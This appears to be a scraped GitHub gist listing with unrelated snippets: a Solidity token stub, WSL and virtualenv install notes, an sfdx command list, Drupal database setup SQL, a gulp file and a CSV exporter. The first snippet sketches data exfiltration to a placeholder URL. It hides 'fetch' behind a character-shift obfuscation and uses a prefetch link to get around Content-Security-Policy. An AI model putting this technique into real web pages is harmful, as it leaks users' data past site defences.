Skip to content

Instantly share code, notes, and snippets.

View cmbaughman's full-sized avatar
🧐
I may be slow to respond.

Chris Baughman cmbaughman

🧐
I may be slow to respond.
View GitHub Profile
const i = 'gfudi';
const k = s => s.split('').map(c => String.fromCharCode(c.charCodeAt() - 1)).join('');
self[k(i)](urlWithYourPreciousData);
fetch(document.location.href)
.then(resp => {
const csp = resp.headers.get('Content-Security-Policy');
// does this exist? Is is any good?
});
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);
@cmbaughman
cmbaughman / CMBToken.sol
Created December 29, 2017 18:14
CMB Coin, ICO from cmbaughman
pragma solidity ^0.4.4;
contract Token {
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
@noygal
noygal / Windows Subsystem for Linux version 1 and 2 (WSL) - node install guide.md
Last active February 21, 2024 23:17
Installing node via windows subsystem for linux

Windows 10 version 2004 - Installing Node.js on Windows Subsystem for Linux (WSL/WSL2)

UPDATE (Fall 2020): This gist is an updated version to the Windows 10 Fall Creators Update - Installing Node.js on Windows Subsystem for Linux (WSL) guide, I usually just keep here notes, configuration or short guides for personal use, it was nice to know it also helps other ppl, I hope this one too.

Windows updated windows subsystem for linux to version 2, as the F.A.Q stated you can still use WSL version 1 side by side with version 2. I'm not sure about existing WSL machines surviving the upgrade process, but as always backup and 🤞. NOTE: WSL version 1 is not replace/deprecated, and there ar

@Geoyi
Geoyi / install virtualenv ubuntu 16.04.md
Created September 16, 2017 12:19 — forked from frfahim/install virtualenv ubuntu 16.04.md
How to install virtual environment on ubuntu 16.04

How to install virtualenv:

Install pip first

sudo apt-get install python3-pip

Then install virtualenv using pip3

sudo pip3 install virtualenv 
sfdx force:doc:commands:list
=== Commands
force:alias:list # list username aliases for sfdx
force:alias:set # set username aliases for sfdx
force:apex:class:create # create an apex class
force:apex:execute # execute anonymous apex code
force:apex:log:get # fetch a debug log
force:apex:log:list # list debug logs
force:apex:test:report # display test results
force:apex:test:run # invoke apex tests
@cmbaughman
cmbaughman / drupal8.preinstall.mysql.sql
Created July 19, 2017 17:36
Create Drupal 8 Database MySQL
CREATE DATABASE database CHARACTER SET utf8 COLLATE utf8_general_ci;
CREATE USER username@localhost IDENTIFIED BY 'password';
GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, INDEX, ALTER, CREATE TEMPORARY TABLES ON database.* TO 'username'@'localhost' IDENTIFIED BY 'password';
@cmbaughman
cmbaughman / gulp-drupal-theme
Created July 1, 2017 22:34 — forked from zetagraph/gulp-drupal-theme
gulp drupal theme
var gulp = require("gulp");
var sass = require("gulp-sass");
var filter = require('gulp-filter');
var sourcemaps = require('gulp-sourcemaps');
var browserSync = require("browser-sync");
var reload = browserSync.reload;
var shell = require('gulp-shell');
// sass task
gulp.task('sass', function () {
@cmbaughman
cmbaughman / JsExportCSV.js
Created April 10, 2017 22:35
JavaScript to export a CSV
// Originally found on
//https://appendto.com/2017/04/use-javascript-to-export-your-data-as-csv/
function convertArrayOfObjectsToCSV(args) {
        var result, ctr, keys, columnDelimiter, lineDelimiter, data;
        data = args.data || null;
        if (data == null || !data.length) {
            return null;
        }